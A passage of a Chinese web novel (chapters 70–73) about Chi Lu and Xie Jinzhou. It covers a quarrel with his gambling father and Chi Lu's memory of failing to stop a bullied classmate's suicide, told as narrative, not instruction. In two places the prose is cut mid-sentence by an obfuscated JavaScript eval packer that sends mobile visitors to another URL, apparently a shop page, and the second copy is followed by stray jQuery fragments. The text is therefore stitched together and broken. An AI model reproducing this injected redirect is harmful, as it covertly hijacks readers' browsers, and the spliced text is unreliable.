这次,谢劲舟想体验跟她在同一个香氛环境里的感受,也想被他们曾在静心小屋时听香氛蜡烛噼里啪啦声的场景所包围。 有关于她的画面,他想多回忆,这样就不会忘记。 香氛蜡烛在幽暗的房间里闪着橘红色的灯光,映在墙上,也映在了谢劲舟的脸上。 他闻到了空中飘着的白桃味,味道越来越浓郁,沉浸其中,渐渐入眠。 雨不停下着,啪嗒啪嗒地落下,世界沉寂,栾花巷32号,人人皆睡去。 但在这样的寂静中,谢劲舟还是被吵醒了,他感觉身上被什么东西压着,沉沉的。 他的睡眠本就浅,从沉睡中抽离,一睁眼,看到某只小蝴蝶正像只八爪鱼似的缠着他。 她什么时候钻进自己被窝的?又做噩梦了吗? 她的身体很烫,宛若烙铁。 70. 哭包小蝴蝶 「小蝴蝶,你怎么那么没有安全感? 老子说下的话,就是誓言! 我不会不要你,我想让你一直留在芳町镇。 我很自私,对不对?」 ——《引路星》 谢劲舟摸了摸她的额头,烧还没退下去。 就着蜡烛的灯光,谢劲舟看到驰路泛红的脸颊,嘴巴干干的,有些地方裂开了。 那么在意自己外表的小蝴蝶,现在干涸得像失去养分的植物。 谢劲舟轻轻抚上她的唇,指腹下的唇瓣传来干裂的触感。 他想做点什么,但最终什么都没做。 他把小蝴蝶抱在怀里,静静地抱着,一抱就是抱了一整夜。 * 谢劲舟原本并不想让这只小蝴蝶在身边一整夜,想着还跟往常一样,让她带一会儿,再把她抱回去,哪里想到这次却睡得格外安心。 他对母亲去世产生的深深的自责、对过往被欺凌的梦魇,这晚,统统消失了。 他好似回到诞生之初,成了清清白白的自己。 谢劲舟醒来时,身边缠着他的人还在睡,谢林乔那边也没动静。 窗外的天灰蒙蒙的,笼着一层雾气,似乎还在飘雨。 谢劲舟看了下时间,刚过五点,他摸了下驰路的额头,烧退了些,额头上都是冒出的冷汗。 他把驰路抱回了她的房间,把她放到床上,刚要起身走,却被她抱住,把脑袋埋在他的怀里,像只粘人的小猫蹭着。 驰路的嘴里呢喃着说着什么,谢劲舟听不真切,俯身凑过去听,听到她在小声地一遍遍喊着:“妈妈。” 谢劲舟的眉眼一沉,她在做梦?想妈妈了? 谢劲舟轻轻地拍着驰路,等她安静下来才走出房间,轻轻带上了门。 …… 这天是周六,驰路难得没有早起,等她下楼时,雨已经停了,就连昨天晚归的谢鸿运都起来了。 驰路已经有一个多月没见着谢鸿运了,自从建了围墙,谢劲舟就没打算把院墙门的钥匙给他。 谢劲舟每次不管多晚回来,都会把院墙门关好。 昨晚谢鸿运能进来,只能有一个原因,他有钥匙。 谁给的?不言而喻。 谢奶奶舍不得自家儿子流落在外,给他配一把钥匙,他想回来就能回来,总归有个去处。 驰路见到谢鸿运时,见他坐在厅堂的桌前,正数着一张一张的红票子,数得很慢,数一张就用手指沾一点唾沫,边数还边念出声来,声音大到远远就能听到。 他摇头晃脑地数,脸上全是笑,仿佛他数的红票子是百万彩票。 谢劲舟不在,谢林乔正在院子里玩弹弓,射出一颗又一颗的小石子,击中院墙,又弹落掉地。 谢奶奶也不在,应该出去摆摊了。 厅堂里就她跟谢鸿运,驰路感到有些不自在,要不要跟他打招呼? 出于礼貌,应该要打招呼,但这样的人,她一点都不想理,看到就烦。 算了,毕竟他是谢劲舟的爸,怎么着,也是亲人。还有,这段时间,他也没来闹事。 驰路走过他身后时,叫了他一声“叔叔”。 谢鸿运却像没听到一样,手里还在数他的红票子。 难道是她声音不够大,所以他没听到? 驰路又提高音量喊了声“叔叔”,这次声音够大,他不应该听不到,但谢鸿运丝毫没搭理他,依旧数着他的红票子。 驰路算是看明白了,她把谢鸿运当谢劲舟的亲人,给予他尊重,他倒好,没将她放在眼里也就罢了,在她想去厨房觅食时,听到谢鸿运说:“你这个杀人犯,是不是该离开我家了。” 驰路的脚步倏然一顿,心脏一滞,眉头紧锁。 她一抬头,看到门口出现的谢劲舟,他手里端着热乎乎的小米粥和一个小碟子,碟子里装着两个水煮蛋。 她看到谢劲舟的眼神忽地变冷,面色也沉下来,仿若冰川。 * “谢鸿运,你有什么资格赶她走!”谢劲舟重重地将手中的碗碟放到桌上,小米粥从碗里溅了出来,溅到桌上,也溅到谢鸿运的红票子上。 谢鸿运原本难得的好心情,顿时消散。他用食指弹了弹红票子上的小米粥,脸上的笑容没了,变得严肃,抬头看谢劲舟,语气不善道:“妈的,你这个小兔崽子,你以为你是谁啊!老子才是这个家的主人,老子想赶谁走就赶谁走,包括你!” “我不走,她也不会走!”谢劲舟神色冷漠、语气坚定。 谢林乔听到了这边的动静,立刻朝这边看过来,看到驰路上了楼,哥哥和老爸在争吵。 她习惯了这样的场景,拿着弹弓的手,很想把石头打到谢鸿运身上,让他离开。 但她哥告诉她打人是不对的,不管是打自己的同学,还是打谢鸿运,她都别动手,他会处理。 “老子今天心情好,不跟你啰嗦。”谢鸿运把桌上的红票子塞回棉服口袋里,指着谢劲舟的鼻子说,“老子会跟她妈说,让她妈把她带走的。” 谢劲舟的目光忽地一凛,连忙叫住要离开的谢鸿运,轻声地叫他:“爸……” 谢鸿运向前迈出的坡腿突然停住,转过身来,用不可思议的表情看他:“你刚说什么?” “爸!”谢劲舟又叫了一声。 谢鸿运忽然笑了:“你这个小兔崽子,我之前还不信他们说的,说你喜欢驰路。你喜欢她吧?你叫我爸是想让我把她留下?” 如果谢鸿运没有记错,这是自林寒梅去世后,谢劲舟第一次叫他“爸”。 “可以吗?”谢劲舟的眼神里带着祈求意味。 他从来都是高高在上的谢大佬,鲜少跟人低头,但为了留住他想留住的,他不得不低头。 谢鸿运心念一转,抬手做出捻票子的动作,意味明显。 谢劲舟一下明白他的意思:“多少?” 谢鸿运伸出一根食指。 “一千?” “一万。” 妈的,你怎么不去抢钱! * 最终,谢劲舟只给了谢鸿运一千,便达成了谢鸿运不给路女士打电话的交易。 谢鸿运本固守底线,不愿妥协,谁知谢劲舟拿出了杀手锏:“你让驰路她妈把她领回去,她妈每个月给你打的两千块的伙食费,你还会有吗?” 谢鸿运一时被四起谣言冲昏头脑,面上挂不住,昨晚醉醺醺地回来,晚上临睡前就想着,第二天怎么把驰路赶走。 杀人犯这样的祸害,他才不想留着。 经谢劲舟这么一提醒,他才想起路漫每个月都给他打伙食费这事,顿时觉得驰路不管是不是杀人犯吧,最起码现在是他的摇钱树,面子算个屁,这棵摇钱树不能赶走,但谢劲舟的钱他也必须要一要。 但谢劲舟抠得很,咬死了只给他一千。 谢鸿运拿他没辙,只得同意,当场 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“阿驰。”谢劲舟喊着,也没人应答。 她会不会发生了什么事? 没吃早餐,会不会低血糖晕倒了? 谢劲舟忽然慌了,急忙打开门,看到蹲坐在床边的驰路时,才松了口气。 他轻轻关上门,朝驰路走去。 她扎着的马尾辫放了下来,头发有些乱,无力地靠着床,双手环住膝盖,把脑袋深深地埋在其间,像极了风雨中飘摇的树枝,下一秒就要被刮断。 蝴蝶本应翱翔天际,她却被人踩在烂泥里,翅膀被碾碎,身体被刺穿,鲜血淋漓。 有时候,不是我们想坠落,是世人逼着你下坠。 她这几天本就遭受身体和精神的双重打击,谢鸿运的话无疑是在她的伤口上撒盐。 他能体会这种滋味,不仅疼,还很伤人。 驰路好像并未发现他的到来,他到她面前了,她都没有任何反应。 谢劲舟蹲下来,轻轻地摸了摸她的脑袋,见她的肩膀好像动了一下,才把她搂入怀里,轻轻拍着她的背。 开始她很安静,任由他抱着,接着,他听到了她吸鼻子的声音,再听到了她的抽噎声。 他的蝴蝶,哭了。 他的心,像被万剑射穿,疼得厉害。 谢劲舟看到了地上的头发,一根根,凌乱交错,不像是一次掉落的,像几次堆叠的成果。 都是她扯落的? 过了很久,谢劲舟听到怀里的小姑娘说:“舟哥,我不想走,我想留在这里。” 谢劲舟把她轻轻推开,看着满脸都是泪水的驰路,边用指腹擦她的眼泪边说:“阿驰,你放心,只要我在,就不会有人能把你赶走。” 她是无家可归的蝴蝶,只有在这里,才好像看到了一丝微光,如果连这点光都没了,她不知道自己该怎么办。 她想在光里撒野,也想为每天升起的新月欢呼,但这一切的前提是,她还有一个归宿。 这个归宿不需要有多大,也不需要有多豪华,只要她的神明在就可以。 驰路紧紧地抱住谢劲舟,眼泪止不住地往下掉,哽咽着说:“舟哥,你不能不要我。” “傻瓜,你是谢家人,我怎么会不要你!”谢劲舟帮她擦着眼泪,软声安慰她,“好了,不哭了,都成小哭包了。” 71. 小蝴蝶的悲痛往事 「心底有伤的人,注定无法获得100%的快乐。 我就是这样。 我淋过雨,想为别人撑一把伞。 但这把伞却成了别人攻击我的武器。 Z,你说我委不委屈?」 ——《小蝴蝶的日落》 谢劲舟见不得驰路哭,她一哭,他的心就像被人重重捏着,生疼生疼。 驰路不是爱哭的人,甚至很少掉眼泪,这两天,即使她深陷舆论风波,即使她被人冷眼旁观、被人嘲讽诋毁、被人扔鸡蛋、砸石头、砸垃圾、被人在桌上刻下恶毒诅咒,她从痛苦烦躁变得麻木,一次都没哭过,她掉不出一滴眼泪。 唯独面对谢劲舟,他好像成了她哭泣的开关,他在时,她心里的疼痛、委屈、难受似乎找到了出口,都可以倾泻而出。 她心里藏了太多苦楚,不管是许婉、安然、岑语欢、江迟,还是远在另一座城市的梁清安,她都没有找他们诉说。 许婉跟她说:“阿驰,有什么想说的,你都可以跟我说,我会陪着你。” 岑语欢跟她说:“阿驰,难受时,哭出来会比较好。” 安然知道了第一手情报,迅速来安慰她:“阿驰,不怕不怕,你还有我呢,抱抱!!!” 江迟跟她说:“阿驰,我知道这事给你带来了很大的伤害和打击,但我相信你,那件事不是你做的。” 梁清安应该还不知道这事,给她发的也是寻常短信,让她注意身体,别像以前那样,还穿那么少,不要着凉感冒了。 他们都是温暖的存在,他们都很好,可是,谁都走不进她的心。 她的心是一座大门紧闭的城堡,没人能走进来,除了她的神明。 她想在无人的深夜里痛哭一场,即使她蒙着被、狠狠掐着脚踝上的文身,一次次重复,一次次几乎让自己窒息,依然无法掉一滴眼泪。 她身上的水分似乎都随着麻木都蒸发殆尽。 精神、身体都无法发泄的痛楚,一直从她心间,渗透到她的每一寸骨血。 她成了一具行尸走肉,悲欢全都由不得自己。 唯独她的神明,能打开她悲欢的开关。 谢劲舟越是安慰她,她越是想哭,眼泪像珠子似的往下掉,一颗一颗都落在他的掌心。 “舟哥,带我走吧。”驰路抓住了他的衣角,泪眼朦胧地看他。 * 谢劲舟在带驰路离开栾花巷32号时,先把谢林乔带到跟她玩得好的邻居小冬家,又跟谢奶奶打了电话,告诉她晚上回来记得去接谢林乔。 谢林乔对于自家哥哥这样的安排,起初极其不满、极其不乐意。 作为一个尚且只有七岁的小孩儿,会想着跟自己最亲的人黏在一起,尤其是她很依赖的哥哥。 但昨晚刚下过雨,谢劲舟要带驰路去静心小屋,山上路滑,万一谢林乔摔了磕了,得不偿失,便好言好语地哄她,跟她说,等他回来时,会给她带她爱吃的巧克力味的棒棒糖。 小孩儿见百般缠着没用,跟谢劲舟说:“哥哥,下次一定要带我去!” 她想去静心小屋很久了。 谢劲舟给了小孩儿允诺,等下次天气好了,他会带她去,小孩儿最终不得不妥协,憋着嘴,拿着她的弹弓,跟在哥哥旁边,脚下像长了磁铁似的,慢悠悠地往小冬家晃。 谢劲舟让驰路先吃了早饭才开着摩托车带她去静心小屋,一路上,他都发现驰路紧紧地环着他的腰,比昨晚抱得还紧。 爬山时,起初驰路跟在他的身后,他走得快,见她落下了一段距离,站在一块平滑的石头上等她。 驰路走到他身前,跟他说:“舟哥,你就不能走慢一点。” “跟紧点,别丢了。”谢劲舟朝她伸手。 驰路愣怔住,看着他宽厚的掌心、修长的手指,回神后,将自己的手搭到他的掌心,一股暖意瞬间弥漫上来。 人情冷暖处,她在无尽深海,感受到了冬日暖阳。 她不再是一个走在荒漠上的孤独旅人,也是有人陪她同行,哪怕会跟她一起置身于风暴。 去往静心小屋的路,驰路这次觉得竟然很快就走完了,多希望这是一条永无止境的路。 这样,他就可以一直牵着她,她就可以一直安心地跟在他身旁,不管他把她带往何方,她都甘之如饴。 下过雨的山上,光秃秃的树枝、枯黄的植被上都被覆上了薄薄的水雾,空气的湿度很大,到处都是湿漉漉。 驰路到静心小屋时,眼睫上都挂了一层水雾,凝聚成一颗晶莹的水珠,如同眼泪,要坠不坠,徒生泫然之感。 谢劲舟以为她要哭,蹲下身,用指腹晕开这颗水珠,声音沉沉:“小哭包,怎么又哭了?” “我才没哭,我才不是小哭包!”驰路一把拂去遮盖住眼睫的雾水,赌气的样子像个孩子。 谢劲舟觉得这样的驰路,有些可爱的迷人。 爬过山有些热,谢劲舟脱下冲锋衣外套,放到沙发扶手上,准备去烧水,听到驰路说:“什么时候该买个晾衣架。” “有必要吗?”谢劲舟脚步一顿,扭头看她。 又不在这里常住,什么都添置,实属浪费。 “这是我们的家,是家总该有个家的样子。”驰路看他。 “随你。”谢劲舟懒得管这些细枝末节,如果这个家能打扮成她想象中的样子,能让她开心一点,也可以。 驰路看到谢劲舟拿起水壶,倒了一瓶矿泉水,烧起水来。 “谢劲舟。”驰路看着谢劲舟的背影,低低地喊着他的名字。 他听不见,转身时看到驰路牢牢锁着他的眼神。 “驰路,你这么看我,会让我误会。”谢劲舟边说边往她身前走。 “误会什么?”驰路脱了鞋,往沙发背上一靠,双手环住膝盖,把自己缩成小小的一团,整个人看起来有点无助。 谢劲舟走到她身旁坐下,侧头看她:“误会你离不开我。” 驰路难得地笑了,只是这笑只停留在嘴角,没能抵达眼底。 转而,她变成一只磨人的妖精,眼角眉梢全染上笑意,靠到谢劲舟的肩头,搂住他的胳膊,笑嘻嘻地说:“是啊,我怎么能离开你呢。一天是谢家人,一辈子都是。” 那时的驰路,还不知道“一辈子”这样的字眼不能轻易说出口,“一辈子”是承诺,一旦承诺了就覆水难收。 一种生存的本能,让她把这样的话宣之于口。 好像说了,他就不会让她离开,就能好好守护她这个唯一的信徒。 谢劲舟看到的只有驰路抵达眼底的笑意,她笑得那么迷人,说得那么真切,旁人会被蛊惑,但他不会。 他知道,她是披着羊皮的小狼,生来具有利爪,一身反骨,倒刺满身。 但她却为了能留下来,收起利爪,拔掉倒刺,对他献出所有的温柔和笑容。 即使这温柔和笑容都是假的,他也不在乎。 她笑,笑的背后是无人知晓的酸涩和苦楚。 他懂她的脆弱,也知她的苦痛。 谢劲舟把她搂在怀里,揉着她的肩膀:“阿驰,你妈每个月都给那浑蛋打两千元的伙食费,所以,他不会赶你走。” 驰路想,自己大概是被烧迷糊了吧,怎么没想到这层。 谢鸿运那么爱赌,那么爱财,怎么会舍得断了路女士那儿的钱路。 她紧绷的神经,这才松懈下来。 驰路把脑袋靠在谢劲舟的肩头,金属质感的烟嗓经过感冒的洗礼,更为低沉喑哑:“舟哥,你知道我的事了?” 谢劲舟知道她在问什么,她没有说出口的那三个字,是压垮她精神的源头。 “嗯。”谢劲舟只是很轻地应了声。 许久,驰路才问:“你相信他们说的吗?” 她怕听到某个答案,却又期待另一个答案。 她孤立无援,被囚于深渊,希冀天降暴雨,洗刷灵魂。 她的提问,没有很快得到回应,等待的每一秒都变得格外漫长,也变得格外煎熬。 心脏渐渐跳得厉害,扑通扑通,每一下都仿佛震动着她的神经,让她越发紧张。 半晌,驰路的肩膀被谢劲舟扳过去,她被迫与他对视。 她看到那双熟悉的好看的深邃眼睛,看到他抬手抚上她的脸颊,锁着她的眼眸,一字一句郑重地跟她说:“阿驰,这世上,老子谁都可以不信,但,老子信你!” 驰路笑了,这次的笑发自内心,是纾解,也是释然。 “谢谢舟哥。”驰路说,“那事我没做过。” “我知道,汹涌而来的可能不是真相,而是乌合之众堆砌起来的谎言。” “想听吗?” “如果你想说,我就听。” 一场鲜有人知道的真相,在驰路的娓娓道来中,还原出本来面目。 …… 三年前,驰路15岁,尚在上初三。 彼时,她是大姐大,身后跟着一帮狐朋狗友,谁都知道蓝城中学有个呼风唤雨的拽姐,谁都惹不得,谁要是招惹了,她的那帮小弟会把你摁在无人的墙角来一顿爆炒肉。 谁都以为这位拽姐会一直风光无两,会占领高地。 但没人会想到,有一天,这位拽姐会被拉下神坛,跌入泥沼。 这事的起因,也来源于为蓝城中学贴吧里的一则热帖:【年级女大佬杀人了!!!】 标题又大又醒目,招来无数学生围观,发帖量无数,纷纷要看照片。 照片被人公布了,有发在芳町三中贴吧里的那张,还有更多角度的,每一张都在引导着是她推千允从六层教学楼落下的。她是幕后罪人,应该受到法律的制裁。 关于她是杀人犯的罪名,开始在学校里传播开,闹得人尽皆知,警察介入此案,开始调查。 她数次被喊去警局问话,次次她都将场景还原,咬死自己不是杀人犯。 六层的天台没有摄像头,那是不让学生踏入的禁区,不知千允从哪里拿到了钥匙。 驰路记得清楚,那是个深秋,下了一场前所未有的暴雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560788|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,地上所有的枯叶都被雨水打湿,路上都是打着伞的同学。 她原本约好跟一帮狐朋狗友去吃烧烤,再去唱K,结果临时下了暴雨,哪里都去不了。 那天,安然生病请假没去学校,驰路没了同伴,也就不用等谁了。她兀自趴在课桌上,打了几把游戏,雨还没停,她没带伞,心想,等不了雨停了,先回吧。 等她拎起书包往外走时,看到从教室后面走出去一个女生,蓬头垢面,像在低声抽泣。 看背影,很瘦弱,穿得也单薄,像一枝堪堪要被折断的树枝。 驰路认识她,听过一些关于她的传闻,说她是野种,不知爹是谁,妈是坐台小姐,成天混于风流场,对她关心很少。 人人都喜欢挑软柿子捏,千允是最好的软柿子,没爹,妈不关心,还没朋友,独来独往。 驰路不只一回见过有人把千允堵在逼仄的巷子里欺负她,他们拽着她的头发把她拖到墙角,把她的脑袋往墙上撞,用烟头烫她的锁骨、胳膊,让她跪下来说自己是“贱人”…… 他们在不同的深夜,用不同的羞辱方式,一次次地将她的尊严践踏,一次次伤害她的身体、摧残她的精神。 像极了曾经上小学时被人践踏的自己。 驰路看过好些被欺凌的学生,但从没见过一个像她这样,看起来软弱至极,但那双眼睛里透出倔强和倨傲,跟她一样。 第一次看到千允被欺负时,驰路本不想管,但看到这双跟她一样的眼睛时,一根线被触发,她想上前,帮帮这个可怜的女生。 然而,驰路刚走出一步,便被身旁混迹江湖许久的女生拉住,凑到她耳边,小声地跟她普及混道上的规矩:“驰姐,遇到这种事,不能管。我们不去管别人,别人也就不会来管我们。尤其是你,是我们的老大,更不能管,你要是管了,谁都看出来你心软,还有谁愿意跟着你混?老大吗,就该有个老大的样子。” 驰路想要迈出的另一只脚倏忽收住,她想做让人信服的大姐大,既然有了这个想法,就该狠心些。 十四五岁的年纪,学校里的学生通常会崇拜两种人,一种是成绩好的,一种是在学校一呼百应的。 她想做那个一呼百应、谁都不敢招惹的小太妹,她不要回到从前,被人踩在脚下,被人指着鼻子嘲笑她是“穷酸鬼”“土包子”。 她也想做一回人上人。 驰路做了局外人,旁观各种在黑暗中才会发生的欺凌事件。 那时,她觉得旁观者没招谁惹谁,理应无罪。 直到她再次跌入深渊,被人霸凌,她才深切感到,旁观者也是有罪的。 那些直接的恶意是恶,那些间接的恶意也是恶。 对于千允被欺凌的事,无数人做了旁观者,驰路也是其中一个。 没有谁去举报,也没有谁去揭发,就连当事人都遮掩不说,其他人更是冷眼旁观。 偶尔不小心撞到千允被欺凌,驰路余光看到,当看不到,身旁的那帮小弟小妹却是明目张胆地去看,笑声一片,甚至还对千允议论。 通常这时候,驰路心里会很不舒服,会让他们停止议论。 旁人不知道驰路在想什么,更不知道,每次她不小心撞到千允被欺凌后,晚上都会做噩梦,梦见曾经的自己被人欺凌的画面。 她在梦里孤立无援,无力反抗,只能徒劳地求饶,却没人愿意放过她。 暴雨倾盆而下,那个尚且只有八九岁的小女孩,瑟瑟地缩在墙角,双手环膝,抱住自己,身上、胳膊上、腿上全是一片一片的淤青和伤痕,脸上交叉落下的是雨水和泪水。 事情一次次发生,她被他们威胁不能告诉家长、老师,她只能把苦痛吞咽下来。 路女士偶然发现她身上的伤痕时,会轻描淡写地问一句“怎么了”。驰路会撒谎说是自己摔的。路女士便会怪她“都这么大的人了,走路还摔!”。 从那以后,她身上有伤时,能躲着路女士就躲着路女士。 她在最至暗的时刻,没有人陪她,唯一陪她的,是漫长的黑夜和短暂的黎明。 那晚,当驰路看着千允形单影只地走出教室,又发出抽抽噎噎的声音时,像是出于本能,她关了教室灯,悄悄地尾随其后。 …… 驰路讲千允,带出自己的旧日陈伤,将那个胆怯的、无助的、被人践踏无数次的小女孩带到谢劲舟面前。 谢劲舟听得震惊,他想过驰路在原来的学校应该风光过,却没想到她曾遭受那样的欺凌,还那么小。 他仿佛看到了那个深夜躲在墙角里哭泣的女孩,被暴雨浇灌,无助又可怜。 他看着驰路放在沙发上的手,抬手将她握住,像在给曾经的小女孩力量,告诉她“别怕,黑暗总会过去”。 “如果我不跟过去,就不会有人给我泼脏水了,也不会有人说我是杀人犯了。”驰路说,目光落在他握着自己的手背上。 “后悔吗?” “不后悔。”驰路的眸子里闪着坚定的光,“如果再来一次,我还会跟过去。” 72. 梦魇缠身 「如果时光能倒流,我希望回到你被欺负、被中伤的那一年。 代替你背负所有的恶意和伤害。 小蝴蝶,以后我不允许有人欺负你。 我要给你一个热烈的夏天。」 ——《引路星》 驰路跟着千允上了六层,所有的教室都黑了,学生都走了,学校不再有白日的喧嚣,变得格外安静,唯独听见暴雨落地声,还有千允踩在雨水中的声音。 她看着千允一步一步地往天台的最前方走去,她走得那么慢,像被暴雨绊住脚,每一步都走得那么艰难。 暴雨中,她的衣服很快都被打湿,她成了雨帘中的雨人。 雨人继续往前走,背影单薄消瘦。 驰路的第六感告诉自己,好像有什么坏事要发生。 她走上台阶,悄悄地走出来,走到一个遮挡物的后面。 驰路看到千允走到了天台最前面,她站在那儿,像一截即将被风雨折断的树枝。 她要做什么? 一丝不好的念头从驰路的心中蹿起,难道,她要跳/楼? 驰路没有贸然上前,静静观望。 千允站在那儿最起码十分钟,什么都没做。 也许她只是想在这儿淋点雨,刺激刺激自己,让自己麻木的身体找回一点实感吧。 这样的举动,她曾经就做过。 驰路觉得既然没什么事就回家吧,跟着她在这儿被雨淋,没必要。 就在驰路想要转身回去时,却看到原本站着一动不动的千允,忽然伸开双臂,仰头看天, 做出要跳楼的姿势。 不好,她这是要结束生命? 驰路立刻冲出遮挡物,快速朝千允跑去,不等千允往下跳,一把抱住她,跟她说:“你不要命啦!” “你谁!”千允被突如其来地抱住,吓了一跳,大声叫出来,雨水、泪水都灌到嘴巴里。 “要死也别死在这里!”驰路拽着她一把甩到地上,让她远离危险区。 千允重重摔地,疼痛蔓延,却像毫无知觉,而是透过雨雾,直直地望着面前的驰路,眼睛不由得睁大。 怎么会是驰路?! 她怎么会在这里?为什么要救自己? 千允震惊不已。 她是高高在上、一呼百应的大姐大,而她不过是常常被人欺凌的蝼蚁。 她被欺凌时,看到过驰路,看到她身边跟着一帮人,她目光里露出求助,但没人愿意帮她,驰路看都不看她一眼。 驰路从来都是冷漠的、酷拽的,她穿着大胆,艳压群芳,被众多男生觊觎,她混迹各种娱乐场所,跟混混们称兄道弟,她的笑容又魅又锐利。听说,她打起架来狠戾,千允却从来没见过。 她们有着云泥之别,她却在这个暴雨天里,伸手救自己。 像是一场笑话。 千允扯起疼了几天刚结痂的嘴角,露出一抹苦笑,声音哑得不行,似被人撕裂:“为什么要救我?” 驰路本可以完全不管千允,她想跳就跳,关她屁事。 但那种从心底蹿起的本能,让她无法做到视若无睹。 她曾经也站在高楼,也想着一了百了。 活着太苦了,死去方能解脱。 那天也下着暴雨,她站在高楼最顶端,望着一栋栋漆黑的高楼,感到前所未有的空茫和无趣。 活着,只能给她带来无尽的悲痛,她活在梦魇中,她要结束这一切。 但她最终没有跳下去,有一个男孩叫住她,跟她说:“别跳,你要活下去。不管你发生了什么,都会过去的。”“如果你一定要死,也别跳楼,会死得很难看。” 给了安慰,又给了警告。 驰路没有跳下去,不是不敢,而是因为男孩,让她知道,这个世界不是那么破烂不堪的,也是有一丝微光的。 借着这点微光,她隐忍着,度过了她的小学时光。 她身上不断有新伤,那么爱美的她,每晚都在黑夜里用指甲掐着那些伤痕。 她是无人在意的困兽,在自己的小小世界里舔舐伤口。 千允也跟曾经的她一样,遭受众人冷眼、嘲讽,被不同的小群体欺凌、打压,她们这样的人,没有做错一件事,但好像做什么都有罪,连呼吸在那些人看来,都是浪费空气。 她们有着相同的悲惨命运,她遮掩过往,自上初中后,鲜少有人知道她的这段经历。 驰路知道,经历过黑暗的人,是会怜惜同样身处黑暗中的人。 所以,她会本能地救下千允。 但驰路没说,而是说:“谁在救你,我就是不想看到有人死在这里,晦气!” 她说的话一点都不中听,却无法激起千允心中的任何一点波澜。 比这种话难听一百倍、一千倍的话,千允听多了,这话根本无法刺穿她的心。 “驰路,谢谢你!”千允从湿漉漉的地上爬起来,一步步朝天台最前面走去。 她倒着走,目光像落在驰路身上,又像落在某个虚无处,满是空茫。 她像一个没有任何生机的木偶人,步步走向深渊。 驰路从她空茫的眼睛里看到了她对生毫无留恋,仿佛她与这个世界已经完全隔绝。 千允往后退一步,驰路就往她身前走一步,就这样,一直跟着她走到了天台最前面。 她们都是雨人,一个一心求死,一个希望她活。 驰路想拽住千允的手,她抬手,堪堪擦过她的胳膊,想要抓住她,将她从这儿拽回去。 这次就不摔地上了,这次要把她拖下去,拖到灯火通明处,拖到温暖盛开地,告诉她:“千允,我曾和你一样,我希望,你活着,我们都要好好活着!” 驰路要把掩藏很深的那个自己挖出来,给她看,想用共鸣之情换回她对生的渴望。 但她没等到这一刻的到来,千允张开手臂,身体后仰,以她无法抓住的速度往下坠。 砰的一声巨响,劈开夜的沉寂。 一切好像都结束了。 什么都结束了。 驰路跨步到了天台最前面,伸手,什么都没抓住。 她眼睁睁看着千允坠落,那颗原本平稳的心,猛然下坠,像被人重重捏着,胸口沉闷,让她无法喘气。 出于本能反应,驰路第一时间想要报警,但她刚拿出手机,想要拨打报警电话,但她停住了。 谁在现场,谁就大概率会被判定为犯罪嫌疑人。 这样的罪名她不想背负。 地上的脚印呢,会随着雨水的冲刷而消失。 谁也不知道,这里还曾有另一个人。 驰路像往常一样,打了辆出租车回家了。 那晚,她被同样的梦魇缠绕。 梦里,下着暴雨,有人从高楼坠落,后脑勺落地,脸部被摔得血肉模糊,血像罂粟,渐渐蔓延,混在雨水中,成了血之汪洋。 这张脸,起初没有五官,再渐渐变成千允的,又变成她的,来回交换。 一次次被惊醒,一次次难以入眠,再次入梦又被梦魇纠缠,循环往复。 这样的梦魇,整整持续了一个月。 那一个月,驰路的生活发生了翻天覆地的变化,即将迎来她人生的第二次转折。 她以为自己可以逃过警察的法眼,不想有人在校园贴吧里发出她是杀死千允凶手的帖子和照片,警察很快将她传到警局审查。 她从众人眼中风光无两的小太妹,转眼间成了人人唾骂的杀人犯。 有关于她是杀人犯的消息,在网上如病毒般蔓延,那些骂她的人也越来越多。 她的那帮小弟,拍着胸脯跟她说:“驰姐,我们相信你,你不会干出那种事。”“咱驰姐就算要干,也会光明正大地干啊!”“驰姐,警察会给你一个真相的。”…… 别看她的那帮小弟整天不学无术,但都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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水烧好了,谢劲舟给驰路倒了杯热水,水汽袅袅升腾。 谢劲舟坐回沙发上,掏出一根烟,刚要刁到嘴边,却被驰路夺去,衔在齿尖,凑过身,作出让他给自己点燃的姿势。 “抽什么烟!”谢劲舟一把将她唇间的烟夺回,刁回自己嘴里,点燃,吸了一口说,“等病好了再说。” “我很难受。”驰路的胸腔里堵得厉害,比发烧还难受。 谢劲舟看着她泛红的眼眶、可怜的眼神,还是没忍住,将嘴里的烟拿出来,放到她嘴边:“就一口。” 这口烟,驰路吸了很久,过滤嘴的味道、谢劲舟的味道,都混在一起。 良久,驰路才长长地吐出一口烟雾,好似将心头的郁结一并吐了出来。 “我懂。” “你懂什么?”驰路没打算把烟还回去,还想吸一口,被谢劲舟夺去,就着她的味道,他吸了一口。 他从来不这样,他这是发了什么疯,要抽她吸过的烟! 有一种想跟她隐秘接触的想法,从心底滋生。 之前余夏拿走他的烟抽时说:“舟哥,你知道这叫什么吗?这叫间接接吻。” 他从没尝过间接接吻的滋味,原来是这样。 烟尾的灰蓄了一截,驰路提醒:“舟哥,想什么?你还没说,你懂什么。” 谢劲舟这才回神,俯身将烟灰弹到烟灰缸里,慢悠悠启口:“我懂你被人欺凌的痛苦。” 驰路不禁勾唇,用一种难以置信的眼神看他:“你这个芳町镇大佬会明白?” “我也曾被人霸凌过。”谢劲舟狠狠地抽了一口烟,星子般的火在指间闪烁,烟已经被抽没了,他还在攫取着最后一点。 73. 摸小蝴蝶脚踝文身 「夜晚,燥热得像赤道的夏天。 十八岁的少年,比赤道的夏天,还炙热、滚烫。」 ——《小蝴蝶的日落》 驰路很快想到谢劲舟老爸误让老妈致命一事,还想到别人议论的他把他老爸打断腿一事,顿时明白他在说什么了。 